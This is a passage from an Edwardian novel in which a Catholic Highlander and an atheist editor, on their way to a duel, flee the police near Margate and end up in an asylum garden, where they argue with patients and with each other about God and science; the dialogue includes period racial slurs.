what we did and why we did +it, and all about both our points of view. Then we could leave +one copy on the island whatever happens to us and put another in +an empty bottle and send it out to sea, as they do in the books." + +"A good idea," said Turnbull, "and now let us finish unpacking." + +As MacIan, a tall, almost ghostly figure, paced along the edge of +sand that ran round the islet, the purple but cloudy poetry which +was his native element was piled up at its thickest upon his +soul. The unique island and the endless sea emphasized the thing +solely as an epic. There were no ladies or policemen here to give +him a hint either of its farce or its tragedy. + +"Perhaps when the morning stars were made," he said to himself, +"God built this island up from the bottom of the world to be a +tower and a theatre for the fight between yea and nay." + +Then he wandered up to the highest level of the rock, where there +was a roof or plateau of level stone. Half an hour afterwards, +Turnbull found him clearing away the loose sand from this +table-land and making it smooth and even. + +"We will fight up here, Turnbull," said MacIan, "when the time +comes. And till the time comes this place shall be sacred." + +"I thought of having lunch up here," said Turnbull, who had a +bottle of champagne in his hand. + +"No, no--not up here," said MacIan, and came down from the height +quite hastily. Before he descended, however, he fixed the two +swords upright, one at each end of the platform, as if they were +human sentinels to guard it under the stars. + +Then they came down and lunched plentifully in a nest of loose +rocks. In the same place that night they supped more plentifully +still. The smoke of Mr. Wilkinson's cigars went up ceaseless and +strong smelling, like a pagan sacrifice; the golden glories of +Mr. Wilkinson's champagne rose to their heads and poured out of +them in fancies and philosophies. And occasionally they would +look up at the starlight and the rock and see the space guarded +by the two cross-hilted swords, which looked like two black +crosses at either end of a grave. + +In this primitive and Homeric truce the week passed by; it +consisted almost entirely of eating, drinking, smoking, talking, +and occasionally singing. They wrote their records and cast loose +their bottle. They never ascended to the ominous plateau; they +had never stood there save for that single embarrassed minute +when they had had no time to take stock of the seascape or the +shape of the land. They did not even explore the island; for +MacIan was partly concerned in prayer and Turnbull entirely +concerned with tobacco; and both these forms of inspiration can +be enjoyed by the secluded and even the sedentary. It was on a +golden afternoon, the sun sinking over the sea, rayed like the +very head of Apollo, when Turnbull tossed off the last half-pint +from the emptied Wilkinsonian bottle, hurled the bottle into the +sea with objectless energy, and went up to where his sword stood +waiting for him on the hill. MacIan was already standing heavily +by his with bent head and eyes reading the ground. He had not +even troubled to throw a glance round the island or the horizon. +But Turnbull being of a more active and birdlike type of mind did +throw a glance round the scene. The consequence of which was that +he nearly fell off the rock. + +On three sides of this shelly and sandy islet the sea stretched +blue and infinite without a speck of land or sail; the same as +Turnbull had first seen it, except that the tide being out it +showed a few yards more of slanting sand under the roots of the +rocks. But on the fourth side the island exhibited a more +extraordinary feature. In fact, it exhibited the extraordinary +feature of not being an island at all. A long, curving neck of +sand, as smooth and wet as the neck of the sea serpent, ran out +into the sea and joined their rock to a line of low, billowing, +and glistening sand-hills, which the sinking sea had just bared +to the sun. Whether they were firm sand or quicksand it was +difficult to guess; but there was at least no doubt that they lay +on the edge of some larger land; for colourless hills appeared +faintly behind them and no sea could be seen beyond. + +"Sakes alive!" cried Turnbull, with rolling eyes; "this ain't an +island in the Atlantic. We've butted the bally continent of +America." + +MacIan turned his head, and his face, already pale, grew a shade +paler. He was by this time walking in a world of omens and +hieroglyphics, and he could not read anything but what was +baffling or menacing in this brown gigantic arm of the earth +stretched out into the sea to seize him. + +"MacIan," said Turnbull, in his temperate way, "whatever our +eternal interrupted tete-a-tetes have taught us or not taught us, +at least we need not fear the charge of fear. If it is essential +to your emotions, I will cheerfully finish the fight here and +now; but I must confess that if you kill me here I shall die with +my curiosity highly excited and unsatisfied upon a minor point of +geography." + +"I do not want to stop now," said the other, in his elephantine +simplicity, "but we must stop for a moment, because it is a +sign--perhaps it is a miracle. We must see what is at the end of +the road of sand; it may be a bridge built across the gulf by +God." + +"So long as you gratify my query," said Turnbull, laughing and +letting back his blade into the sheath, "I do not care for what +reason you choose to stop." + +They clambered down the rocky peninsula and trudged along the +sandy isthmus with the plodding resolution of men who seemed +almost to have made up their minds to be wanderers on the face of +the earth. Despite Turnbull's air of scientific eagerness, he was +really the less impatient of the two; and the Highlander went on +well ahead of him with passionate strides. By the time they had +walked for about half an hour in the ups and downs of those +dreary sands, the distance between the two had lengthened and +MacIan was only a tall figure silhouetted for an instant upon the +crest of some sand-dune and then disappearing behind it. This +rather increased the Robinson Crusoe feeling in Mr. Turnbull, and +he looked about almost disconsolately for some sign of life. What +sort of life he expected it to be if it appeared, he did not very +clearly know. He has since confessed that he thinks that in his +subconsciousness he expected an alligator. + +The first sign of life that he did see, however, was something +more extraordinary than the largest alligator. It was nothing +less than the notorious Mr. Evan MacIan coming bounding back +across the sand-heaps breathless, without his cap and keeping the +sword in his hand only by a habit now quite hardened. + +"Take care, Turnbull," he cried out from a good distance as he +ran, "I've seen a native." + +"A native?" repeated his companion, whose scenery had of late +been chiefly of shellfish, "what the deuce! Do you mean an +oyster?" + +"No," said MacIan, stopping and breathing hard, "I mean a savage. +A black man." + +"Why, where did you see him?" asked the staring editor. + +"Over there--behind that hill," said the gasping MacIan. "He put +up his black head and grinned at me." + +Turnbull thrust his hands through his red hair like one who gives +up the world as a bad riddle. "Lord love a duck," said he, "can +it be Jamaica?" + +Then glancing at his companion with a small frown, as of one +slightly suspicious, he said: "I say, don't think me rude--but +you're a visionary kind of fellow--and then we drank a great +deal. Do you mind waiting here while I go and see for myself?" + +"Shout if you get into trouble," said the Celt, with composure; +"you will find it as I say." + +Turnbull ran off ahead with a rapidity now far greater than his +rival's, and soon vanished over the disputed sand-hill. Then five +minutes passed, and then seven minutes; and MacIan bit his lip +and swung his sword, and the other did not reappear. Finally, +with a Gaelic oath, Evan started forward to the rescue, and +almost at the same moment the small figure of the missing man +appeared on the ridge against the sky. + +Even at that distance, however, there was something odd about his +attitude; so odd that MacIan continued to make his way in that +direction. It looked as if he were wounded; or, still more, as if +he were ill. He wavered as he came down the slope and seemed +flinging himself into peculiar postures. But it was only when he +came within three feet of MacIan's face, that that observer of +mankind fully realized that Mr. James Turnbull was roaring with +laughter. + +"You are quit right," sobbed that wholly demoralized journalist. +"He's black, oh, there's no doubt the black's all right--as far +as it goes." And he went off again into convulsions of his +humorous ailment. + +"What ever is the matter with you?" asked MacIan, with stern +impatience. "Did you see the nigger----" + +"I saw the nigger," gasped Turnbull. "I saw the splendid +barbarian Chief. I saw the Emperor of Ethiopia--oh, I saw him all +right. The nigger's hands and face are a lovely colour--and the +nigger----" And he was overtaken once more. + +"Well, well, well," said Evan, stamping each monosyllable on the +sand, "what about the nigger?" + +"Well, the truth is," said Turnbull, suddenly and startlingly, +becoming quite grave and precise, "the truth is, the nigger is a +Margate nigger, and we are now on the edge of the Isle of Thanet, +a few miles from Margate." + +Then he had a momentary return of his hysteria and said: "I say, +old boy, I should like to see a chart of our fortnight's cruise +in Wilkinson's yacht." + +MacIan had no smile in answer, but his eager lips opened as if +parched for the truth. "You mean to say," he began---- + +"Yes, I mean to say," said Turnbull, "and I mean to say something +funnier still. I have learnt everything I wanted to know from the +partially black musician over there, who has taken a run in his +war-paint to meet a friend in a quiet pub along the coast--the +noble savage has told me all about it. The bottle containing our +declaration, doctrines, and dying sentiments was washed up on +Margate beach yesterday in the presence of one alderman, two +bathing-machine men, three policemen, seven doctors, and a +hundred and thirteen London clerks on a holiday, to all of whom, +whether directly or indirectly, our composition gave enormous +literary pleasure. Buck up, old man, this story of ours is a +switchback. I have begun to understand the pulse and the time of +it; now we are up in a cathedral and then we are down in a +theatre, where they only play farces. Come, I am quite +reconciled--let us enjoy the farce." + +But MacIan said nothing, and an instant afterwards Turnbull +himself called out in an entirely changed voice: "Oh, this is +damnable! This is not to be borne!" + +MacIan followed his eye along the sand-hills. He saw what looked +like the momentary and waving figure of the nigger minstrel, and +then he saw a heavy running policeman take the turn of the +sand-hill with the smooth solemnity of a railway train. + + + +XIII. THE GARDEN OF PEACE + +Up to this instant Evan MacIan had really understood nothing; but +when he saw the policeman he saw everything. He saw his enemies, +all the powers and princes of the earth. He suddenly altered from +a staring statue to a leaping man of the mountains. + +"We must break away from him here," he cried, briefly, and went +like a whirlwind over the sand ridge in a straight line and at a +particular angle. When the policeman had finished his admirable +railway curve, he found a wall of failing sand between him and +the pursued. By the time he had scaled it thrice, slid down +twice, and crested it in the third effort, the two flying figures +were far in front. They found the sand harder farther on; it +began to be crusted with scraps of turf and in a few moments they +were flying easily over an open common of rank sea-grass. They +had no easy business, however; for the bottle which they had so +innocently sent into the chief gate of Thanet had called to life +the police of half a county on their trail. From every side +across the grey-green common figures could be seen running and +closing in; and it was only when MacIan with his big body broke +down the tangled barrier of a little wood, as men break down a +door with the shoulder; it was only when they vanished crashing +into the underworld of the black wood, that their hunters were +even instantaneously thrown off the scent. + +At the risk of struggling a little longer like flies in that +black web of twigs and trunks, Evan (who had an instinct of the +hunter or the hunted) took an incalculable course through the +forest, which let them out at last by a forest opening--quite +forgotten by the leaders of the chase. They ran a mile or two +farther along the edge of the wood until they reached another and +somewhat similar opening. Then MacIan stood utterly still and +listened, as animals listen, for every sound in the universe. +Then he said: "We are quit of them." And Turnbull said: "Where +shall we go now?" + +MacIan looked at the silver sunset that was closing in, barred by +plumy lines of purple cloud; he looked at the high tree-tops that +caught the last light and at the birds going heavily homeward, +just as if all these things were bits of written advice that he +could read. + +Then he said: "The best place we can go to is to bed. If we can +get some sleep in this wood, now everyone has cleared out of it, +it will be worth a handicap of two hundred yards tomorrow." + +Turnbull, who was exceptionally lively and laughing in his +demeanour, kicked his legs about like a schoolboy and said he did +not want to go to sleep. He walked incessantly and talked very +brilliantly. And when at last he lay down on the hard earth, +sleep struck him senseless like a hammer. + +Indeed, he needed the strongest sleep he could get; for the earth +was still full of darkness and a kind of morning fog when his +fellow-fugitive shook him awake. + +"No more sleep, I'm afraid," said Evan, in a heavy, almost +submissive, voice of apology. "They've gone on past us right +enough for a good thirty miles; but now they've found out their +mistake, and they're coming back." + +"Are you sure?" said Turnbull, sitting up and rubbing his red +eyebrows with his hand. + +The next moment, however, he had jumped up alive and leaping like +a man struck with a shock of cold water, and he was plunging +after MacIan along the woodland path. The shape of their old +friend the constable had appeared against the pearl and pink of +the sunrise. Somehow, it always looked a very funny shape when +seen against the sunrise. + + * * * + +A wash of weary daylight was breaking over the country-side, and +the fields and roads were full of white mist--the kind of white +mist that clings in corners like cotton wool. The empty road, +along which the chase had taken its turn, was overshadowed on one +side by a very high discoloured wall, stained, and streaked +green, as with seaweed--evidently the high-shouldered sentinel of +some great gentleman's estate. A yard or two from the wall ran +parallel to it a linked and tangled line of lime-trees, forming a +kind of cloister along the side of the road. It was under this +branching colonnade that the two fugitives fled, almost concealed +from their pursuers by the twilight, the mist and the leaping +zoetrope of shadows. Their feet, though beating the ground +furiously, made but a faint noise; for they had kicked away their +boots in the wood; their long, antiquated weapons made no jingle +or clatter, for they had strapped them across their backs like +guitars. They had all the advantages that invisibility and +silence can add to speed. + +A hundred and fifty yards behind them down the centre of the +empty road the first of their pursuers came pounding and +panting--a fat but powerful policeman who had distanced all the +rest. He came on at a splendid pace for so portly a figure; but, +like all heavy bodies in motion, he gave the impression that it +would be easier for him to increase his pace than to slacken it +suddenly. Nothing short of a brick wall could have abruptly +brought him up. Turnbull turned his head slightly and found +breath to say something to MacIan. MacIan nodded. + +Pursuer and pursued were fixed in their distance as they fled, +for some quarter of a mile, when they came to a place where two +or three of the trees grew twistedly together, making a special +obscurity. Past this place the pursuing policeman went thundering +without thought or hesitation. But he was pursuing his shadow or +the wind; for Turnbull had put one foot in a crack of the tree +and gone up it as quickly and softly as a cat. Somewhat more +laboriously but in equal silence the long legs of the Highlander +had followed; and crouching in crucial silence in the cloud of +leaves, they saw the whole posse of their pursuers go by and die +into the dust and mists of the distance. + +The white vapour lay, as it often does, in lean and palpable +layers; and even the head of the tree was above it in the +half-daylight, like a green ship swinging on a sea of foam. But +higher yet behind them, and readier to catch the first coming of +the sun, ran the rampart of the top of the wall, which in their +excitement of escape looked at once indispensable and +unattainable, like the wall of heaven. Here, however, it was +MacIan's turn to have the advantage; for, though less +light-limbed and feline, he was longer and stronger in the arms. +In two seconds he had tugged up his chin over the wall like a +horizontal bar; the next he sat astride of it, like a horse of +stone. With his assistance Turnbull vaulted to the same perch, +and the two began cautiously to shift along the wall in the +direction by which they had come, doubling on their tracks to +throw off the last pursuit. MacIan could not rid himself of the +fancy of bestriding a steed; the long, grey coping of the wall +shot out in front of him, like the long, grey neck of some +nightmare Rosinante. He had the quaint thought that he and +Turnbull were two knights on one steed on the old shield of the +Templars. + +The nightmare of the stone horse was increased by the white fog, +which seemed thicker inside the wall than outside. They could +make nothing of the enclosure upon which they were partial +trespassers, except that the green and crooked branches of a big +apple-tree came crawling at them out of the mist, like the +tentacles of some green cuttlefish. Anything would serve, +however, that was likely to confuse their trail, so they both +decided without need of words to use this tree also as a +ladder--a ladder of descent. When they dropped from the lowest +branch to the ground their stockinged feet felt hard gravel +beneath them. + +They had alighted in the middle of a very broad garden path, and +the clearing mist permitted them to see the edge of a +well-clipped lawn. Though the white vapour was still a veil, it +was like the gauzy veil of a transformation scene in a pantomime; +for through it there glowed shapeless masses of colour, masses +which might be clouds of sunrise or mosaics of gold and crimson, +or ladies robed in ruby and emerald draperies. As it thinned yet +farther they saw that it was only flowers; but flowers in such +insolent mass and magnificence as can seldom be seen out of the +tropics. Purple and crimson rhododendrons rose arrogantly, like +rampant heraldic animals against their burning background of +laburnum gold. The roses were red hot; the clematis was, so to +speak, blue hot. And yet the mere whiteness of the syringa seemed +the most violent colour of all. As the golden sunlight gradually +conquered the mists, it had really something of the sensational +sweetness of the slow opening of the gates of Eden. MacIan, whose +mind was always haunted with such seraphic or titanic parallels, +made some such remark to his companion. But Turnbull only cursed +and said that it was the back garden of some damnable rich man. + +When the last haze had faded from the ordered paths, the open +lawns, and the flaming flower-beds, the two realized, not without +an abrupt re-examination of their position, that they were not +alone in the garden. + +Down the centre of the central garden path, preceded by a blue +cloud from a cigarette, was walking a gentleman who evidently +understood all the relish of a garden in the very early morning. +He was a slim yet satisfied figure, clad in a suit of pale-grey +tweed, so subdued that the pattern was imperceptible--a costume +that was casual but not by any means careless. His face, which +was reflective and somewhat over-refined, was the face of a quite +elderly man, though his stringy hair and moustache were still +quite yellow. A double eye-glass, with a broad, black ribbon, +drooped from his aquiline nose, and he smiled, as he communed +with himself, with a self-content which was rare and almost +irritating. The straw panama on his head was many shades shabbier +than his clothes, as if he had caught it up by accident. + +It needed the full shock of the huge shadow of MacIan, falling +across his sunlit path, to rouse him from his smiling reverie. +When this had fallen on him he lifted his head a little and +blinked at the intruders with short-sighted benevolence, but with +far less surprise than might have been expected. He was a +gentleman; that is, he had social presence of mind, whether for +kindness or for insolence. + +"Can I do anything for you?" he said, at last. + +MacIan bowed. "You can extend to us your pardon," he said, for he +also came of a whole race of gentlemen--of gentlemen without +shirts to their backs. "I am afraid we are trespassing. We have +just come over the wall." + +"Over the wall?" repeated the smiling old gentleman, still +without letting his surprise come uppermost. + +"I suppose I am not wrong, sir," continued MacIan, "in supposing +that these grounds inside the wall belong to you?" + +The man in the panama looked at the ground and smoked +thoughtfully for a few moments, after which he said, with a sort +of matured conviction: + +"Yes, certainly; the grounds inside the wall really belong to me, +and the grounds outside the wall, too." + +"A large proprietor, I imagine," said Turnbull, with a truculent +eye. + +"Yes," answered the old gentleman, looking at him with a steady +smile. "A large proprietor." + +Turnbull's eye grew even more offensive, and he began biting his +red beard; but MacIan seemed to recognize a type with which he +could deal and continued quite easily: + +"I am sure that a man like you will not need to be told that one +sees and does a good many things that do not get into the +newspapers. Things which, on the whole, had better not get into +the newspapers." + +The smile of the large proprietor broadened for a moment under +his loose, light moustache, and the other continued with +increased confidence: + +"One sometimes wants to have it out with another man. The police +won't allow it in the streets--and then there's the County +Council--and in the fields even nothing's allowed but posters of +pills. But in a gentleman's garden, now----" + +The strange gentleman smiled again and said, easily enough: "Do +you want to fight? What do you want to fight about?" + +MacIan had understood his man pretty well up to that point; an +instinct common to all men with the aristocratic tradition of +Europe had guided him. He knew that the kind of man who in his +own back garden wears good clothes and spoils them with a bad hat +is not the kind of man who has an abstract horror of illegal +actions of violence or the evasion of the police. But a man may +understand ragging and yet be very far from understanding +religious ragging. This seeming host of theirs might comprehend a +quarrel of husband and lover or a difficulty at cards or even +escape from a pursuing tailor; but it still remained doubtful +whether he would feel the earth fail under him in that earthquake +instant when the Virgin is compared to a goddess of Mesopotamia. +Even MacIan, therefore (whose tact was far from being his strong +point), felt the necessity for some compromise in the mode of +approach. At last he said, and even then with hesitation: + +"We are fighting about God; there can be nothing so important as +that." + +The tilted eye-glasses of the old gentleman fell abruptly from +his nose, and he thrust his aristocratic chin so far forward that +his lean neck seemed to shoot out longer like a telescope. + +"About God?" he queried, in a key completely new. + +"Look here!" cried Turnbull, taking his turn roughly, "I'll tell +you what it's all about. I think that there's no God. I take it +that it's nobody's business but mine--or God's, if there is one. +This young gentleman from the Highlands happens to think that +it's his business. In consequence, he first takes a walking-stick +and smashes my shop; then he takes the same walking-stick and +tries to smash me. To this I naturally object. I suggest that if +it comes to that we should both have sticks. He improves on the +suggestion and proposes that we should both have steel-pointed +sticks. The police (with characteristic unreasonableness) will +not accept either of our proposals; the result is that we run +about dodging the police and have jumped over our garden wall +into your magnificent garden to throw ourselves on your +magnificent hospitality." + +The face of the old gentleman had grown redder and redder during +this address, but it was still smiling; and when he broke out it +was with a kind of guffaw. + +"So you really want to fight with drawn swords in my garden," he +asked, "about whether there is really a God?" + +"Why not?" said MacIan, with his simple monstrosity of speech; +"all man's worship began when the Garden of Eden was founded." + +"Yes, by----!" said Turnbull, with an oath, "and ended when the +Zoological Gardens were founded." + +"In this garden! In my presence!" cried the stranger, stamping up +and down the gravel and choking with laughter," whether there is +a God!" And he went stamping up and down the garden, making it +echo with his unintelligible laughter. Then he came back to them +more composed and wiping his eyes. + +"Why, how small the world is!" he cried at last. "I can settle +the whole matter. Why, I am God!" + +And he suddenly began to kick and wave his well-clad legs about +the lawn. + +"You are what?" repeated Turnbull, in a tone which is beyond +description. + +"Why, God, of course!" answered the other, thoroughly amused. +"How funny it is to think that you have tumbled over a garden +wall and fallen exactly on the right person! You might have gone +floundering about in all sorts of churches and chapels and +colleges and schools of philosophy looking for some evidence of +the existence of God. Why, there is no evidence, except seeing +him. And now you've seen him. You've seen him dance!" + +And the obliging old gentleman instantly stood on one leg without +relaxing at all the grave and cultured benignity of his +expression. + +"I understood that this garden----" began the bewildered MacIan. + +"Quite so! Quite so!" said the man on one leg, nodding gravely. +"I said this garden belonged to me and the land outside it. So +they do. So does the country beyond that and the sea beyond that +and all the rest of the earth. So does the moon. So do the sun +and stars." And he added, with a smile of apology: "You see, I'm +God." + +Turnbull and MacIan looked at him for one moment with a sort of +notion that perhaps he was not too old to be merely playing the +fool. But after staring steadily for an instant Turnbull saw the +hard and horrible earnestness in the man's eyes behind all his +empty animation. Then Turnbull looked very gravely at the strict +gravel walls and the gay flower-beds and the long rectangular +red-brick building, which the mist had left evident beyond them. +Then he looked at MacIan. + +Almost at the same moment another man came walking quickly round +the regal clump of rhododendrons. He had the look of a prosperous +banker, wore a good tall silk hat, was almost stout enough to +burst the buttons of a fine frock-coat; but he was talking to +himself, and one of his elbows had a singular outward jerk as he +went by. + + + +XIV. A MUSEUM OF SOULS + +The man with the good hat and the jumping elbow went by very +quickly; yet the man with the bad hat, who thought he was God, +overtook him. He ran after him and jumped over a bed of geraniums +to catch him. + +"I beg your Majesty's pardon," he said, with mock humility, "but +here is a quarrel which you ought really to judge." + +Then as he led the heavy, silk-hatted man back towards the group, +he caught MacIan's ear in order to whisper: "This poor gentleman +is mad; he thinks he is Edward VII." At this the self-appointed +Creator slightly winked. "Of course you won't trust him much; +come to me for everything. But in my position one has to meet so +many people. One has to be broadminded." + +The big banker in the black frock-coat and hat was standing quite +grave and dignified on the lawn, save for his slight twitch of +one limb, and he did not seem by any means unworthy of the part +which the other promptly forced upon him. + +"My dear fellow," said the man in the straw hat, "these two +gentlemen are going to fight a duel of the utmost importance. +Your own royal position and my much humbler one surely indicate +us as the proper seconds. Seconds--yes, seconds----" and here +the speaker was once more shaken with his old malady of +laughter. + +"Yes, you and I are both seconds--and these two gentlemen can +obviously fight in front of us. You, he-he, are the king. I am +God; really, they could hardly have better supporters. They have +come to the right place." + +Then Turnbull, who had been staring with a frown at the fresh +turf, burst out with a rather bitter laugh and cried, throwing +his red head in the air: + +"Yes, by God, MacIan, I think we have come to the right place!" +And MacIan answered, with an adamantine stupidity: + +"Any place is the right place where they will let us do it." + +There was a long stillness, and their eyes involuntarily took in +the landscape, as they had taken in all the landscapes of their +everlasting combat; the bright, square garden behind the shop; +the whole lift and leaning of the side of Hampstead Heath; the +little garden of the decadent choked with flowers; the square of +sand beside the sea at sunrise. They both felt at the same moment +all the breadth and blossoming beauty of that paradise, the +coloured trees, the natural and restful nooks and also the great +wall of stone--more awful than the wall of China--from which no +flesh could flee. + +Turnbull was moodily balancing his sword in his hand as the other +spoke; then he started, for a mouth whispered quite close to his +ear. With a softness incredible in any cat, the huge, heavy man +in the black hat and frock-coat had crept across the lawn from +his own side and was saying in his ear: "Don't trust that second +of yours. He's mad and not so mad, either; for he frightfully +cunning and sharp. Don't believe the story he tells you about why +I hate him. I know the story he'll tell; I overheard it when the +housekeeper was talking to the postman. It's too long to talk +about now, and I expect we're watched, but----" + +Something in Turnbull made him want suddenly to be sick on the +grass; the mere healthy and heathen horror of the unclean; the +mere inhumane hatred of the inhuman state of madness. He seemed +to hear all round him the hateful whispers of that place, +innumerable as leaves whispering in the wind, and each of them +telling eagerly some evil that had not happened or some terrific +secret which was not true. All the rationalist and plain man +revolted within him against bowing down for a moment in that +forest of deception and egotistical darkness. He wanted to blow +up that palace of delusions with dynamite; and in some wild way, +which I will not defend, he tried to do it. + +He looked across at MacIan and said: "Oh, I can't stand this!" + +"Can't stand what?" asked his opponent, eyeing him doubtfully. + +"Shall we say the atmosphere?" replied Turnbull; "one can't use +uncivil expressions even to a--deity. The fact is, I don't like +having God for my second." + +"Sir!" said that being in a state of great offence, "in my +position I am not used to having my favours refused. Do you know +who I am?" + +The editor of _The Atheist_ turned upon him like one who has lost +all patience, and exploded: "Yes, you are God, aren't you?" he +said, abruptly, "why do we have two sets of teeth?" + +"Teeth?" spluttered the genteel lunatic; "teeth?" + +"Yes," cried Turnbull, advancing on him swiftly and with animated +gestures, "why does teething hurt? Why do growing pains hurt? Why +are measles catching? Why does a rose have thorns? Why do +rhinoceroses have horns? Why is the horn on the top of the nose? +Why haven't I a horn on the top of my nose, eh?" And he struck +the bridge of his nose smartly with his forefinger to indicate +the place of the omission and then wagged the finger menacingly +at the Creator. + +"I've often wanted to meet you," he resumed, sternly, after a +pause, "to hold you accountable for all the idiocy and cruelty of +this muddled and meaningless world of yours. You make a hundred +seeds and only one bears fruit. You make a million worlds and +only one seems inhabited. What do you mean by it, eh? What do you +mean by it?" + +The unhappy lunatic had fallen back before this quite novel form +of attack, and lifted his burnt-out cigarette almost like one +warding off a blow. Turnbull went on like a torrent. + +"A man died yesterday in Ealing. You murdered him. A girl had the +toothache in Croydon. You gave it her. Fifty sailors were drowned +off Selsey Bill. You scuttled their ship. What have you got to +say for yourself, eh?" + +The representative of omnipotence looked as if he had left most +of these things to his subordinates; he passed a hand over his +wrinkling brow and said in a voice much saner than any he had yet +used: + +"Well, if you dislike my assistance, of course--perhaps the other +gentleman----" + +"The other gentleman," cried Turnbull, scornfully, "is a +submissive and loyal and obedient gentleman. He likes the people +who wear crowns, whether of diamonds or of stars. He believes in +the divine right of kings, and it is appropriate enough that he +should have the king for his second. But it is not appropriate to +me that I should have God for my second. God is not good enough. +I dislike and I deny the divine right of kings. But I dislike +more and I deny more the divine right of divinity." + +Then after a pause in which he swallowed his passion, he said to +MacIan: "You have got the right second, anyhow." + +The Highlander did not answer, but stood as if thunderstruck with +one long and heavy thought. Then at last he turned abruptly to +his second in the silk hat and said: "Who are you?" + +The man in the silk hat blinked and bridled in affected surprise, +like one who was in truth accustomed to be doubted. + +"I am King Edward VII," he said, with shaky arrogance. "Do you +doubt my word?" + +"I do not doubt it in the least," answered MacIan. + +"Then, why," said the large man in the silk hat, trembling from +head to foot, "why do you wear your hat before the king?" + +"Why should I take it off," retorted MacIan, with equal heat, +"before a usurper?" + +Turnbull swung round on his heel. "Well, really," he said, "I +thought at least you were a loyal subject." + +"I am the only loyal subject," answered the Gael. "For nearly +thirty years I have walked these islands and have not found +another." + +"You are always hard to follow," remarked Turnbull, genially, +"and sometimes so much so as to be hardly worth following." + +"I alone am loyal," insisted MacIan; "for I alone am in +rebellion. I am ready at any instant to restore the Stuarts. I +am ready at any instant to defy the Hanoverian brood--and I defy +it now even when face to face with the actual ruler of the +enormous British Empire!" + +And folding his arms and throwing back his lean, hawklike face, +he haughtily confronted the man with the formal frock-coat and +the eccentric elbow. + +"What right had you stunted German squires," he cried, "to +interfere in a quarrel between Scotch and English and Irish +gentlemen? Who made you, whose fathers could not splutter English +while they walked in Whitehall, who made you the judge between +the republic of Sidney and the monarchy of Montrose? What had +your sires to do with England that they should have the foul +offering of the blood of Derwentwater and the heart of Jimmy +Dawson? Where are the corpses of Culloden? Where is the blood of +Lochiel?" MacIan advanced upon his opponent with a bony and +pointed finger, as if indicating the exact pocket in which the +blood of that Cameron was probably kept; and Edward VII fell back +a few paces in considerable confusion. + +"What good have you ever done to us?" he continued in harsher and +harsher accents, forcing the other back towards the flower-beds. +"What good have you ever done, you race of German sausages? Yards +of barbarian etiquette, to throttle the freedom of aristocracy! +Gas of northern metaphysics to blow up Broad Church bishops like +balloons. Bad pictures and bad manners and pantheism and the +Albert Memorial. Go back to Hanover, you humbug? Go to----" + +Before the end of this tirade the arrogance of the monarch had +entirely given way; he had fairly turned tail and was trundling +away down the path. MacIan strode after him still preaching and +flourishing his large, lean hands. The other two remained in the +centre of the lawn--Turnbull in convulsions of laughter, the +lunatic in convulsions of disgust. Almost at the same moment a +third figure came stepping swiftly across the lawn. + +The advancing figure walked with a stoop, and yet somehow flung +his forked and narrow beard forward. That carefully cut and +pointed yellow beard was, indeed, the most emphatic thing about +him. When he clasped his hands behind him, under the tails of his +coat, he would wag his beard at a man like a big forefinger. It +performed almost all his gestures; it was more important than the +glittering eye-glasses through which he looked or the beautiful +bleating voice in which he spoke. His face and neck were of a +lusty red, but lean and stringy; he always wore his expensive +gold-rim eye-glasses slightly askew upon his aquiline nose; and +he always showed two gleaming foreteeth under his moustache, in a +smile so perpetual as to earn the reputation of a sneer. But for +the crooked glasses his dress was always exquisite; and but for +the smile he was perfectly and perennially depressed. + +"Don't you think," said the new-comer, with a sort of +supercilious entreaty, "that we had better all come into +breakfast? It is such a mistake to wait for breakfast. It spoils +one's temper so much." + +"Quite so," replied Turnbull, seriously. + +"There seems almost to have been a little quarrelling here," said +the man with the goatish beard. + +"It is rather a long story," said Turnbull, smiling. "Originally, +it might be called a phase in the quarrel between science and +religion." + +The new-comer started slightly, and Turnbull replied to the +question on his face. + +"Oh, yes," he said, "I am science!" + +"I congratulate you heartily," answered the other, "I am Doctor +Quayle." + +Turnbull's eyes did not move, but he realized that the man in the +panama hat had lost all his ease of a landed proprietor and had +withdrawn to a distance of thirty yards, where he stood glaring +with all the contraction of fear and hatred that can stiffen a +cat. + + * * * + +MacIan was sitting somewhat disconsolately on a stump of tree, +his large black head half buried in his large brown hands, when +Turnbull strode up to him chewing a cigarette. He did not look +up, but his comrade and enemy addressed him like one who must +free himself of his feelings. + +"Well, I hope, at any rate," he said, "that you like your +precious religion now. I hope you like the society of this poor +devil whom your damned tracts and hymns and priests have driven +out of his wits. Five men in this place, they tell me, five men +in this place who might have been fathers of families, and every +one of them thinks he is God the Father. Oh! you may talk about +the ugliness of science, but there is no one here who thinks he +is Protoplasm." + +"They naturally prefer a bright part," said MacIan, wearily. +"Protoplasm is not worth going mad about." + +"At least," said Turnbull, savagely, "it was your Jesus Christ +who started all this bosh about being God." + +For one instant MacIan opened the eyes of battle; then his +tightened lips took a crooked smile and he said, quite calmly: + +"No, the idea is older; it was Satan who first said that he was +God." + +"Then, what," asked Turnbull, very slowly, as he softly picked a +flower, "what is the difference between Christ and Satan?" + +"It is quite simple," replied the Highlander. "Christ descended +into hell; Satan fell into it." + +"Does it make much odds?" asked the free-thinker. + +"It makes all the odds," said the other. "One of them wanted to +go up and went down; the other wanted to go down and went up. A +god can be humble, a devil can only be humbled." + +"Why are you always wanting to humble a man?" asked Turnbull, +knitting his brows. "It affects me as ungenerous." + +"Why were you wanting to humble a god when you found him in this +garden?" asked MacIan. + +"That was an extreme case of impudence," said Turnbull. + +"Granting the man his almighty pretensions, I think he was very +modest," said MacIan. "It is we who are arrogant, who know we are +only men. The ordinary man in the street is more of a monster +than that poor fellow; for the man in the street treats himself +as God Almighty when he knows he isn't. He expects the universe +to turn round him, though he knows he isn't the centre." + +"Well," said Turnbull, sitting down on the grass, "this is a +digression, anyhow. What I want to point out is, that your faith +does end in asylums and my science doesn't." + +"Doesn't it, by George!" cried MacIan, scornfully. "There are a +few men here who are mad on God and a few who are mad on the +Bible. But I bet there are many more who are simply mad on +madness." + +"Do you really believe it?" asked the other. + +"Scores of them, I should say," answered MacIan. "Fellows who +have read medical books or fellows whose fathers and uncles had +something hereditary in their heads--the whole air they breathe +is mad." + +"All the same," said Turnbull, shrewdly, "I bet you haven't found +a madman of that sort." + +"I bet I have!" cried Evan, with unusual animation. "I've been +walking about the garden talking to a poor chap all the morning. +He's simply been broken down and driven raving by your damned +science. Talk about believing one is God--why, it's quite an old, +comfortable, fireside fancy compared with the sort of things this +fellow believes. He believes that there is a God, but that he is +better than God. He says God will be afraid to face him. He says +one is always progressing beyond the best. He put his arm in mine +and whispered in my ear, as if it were the apocalypse: 'Never +trust a God that you can't improve on.'" + +"What can he have meant?" said the atheist, with all his logic +awake. "Obviously one should not trust any God that one can 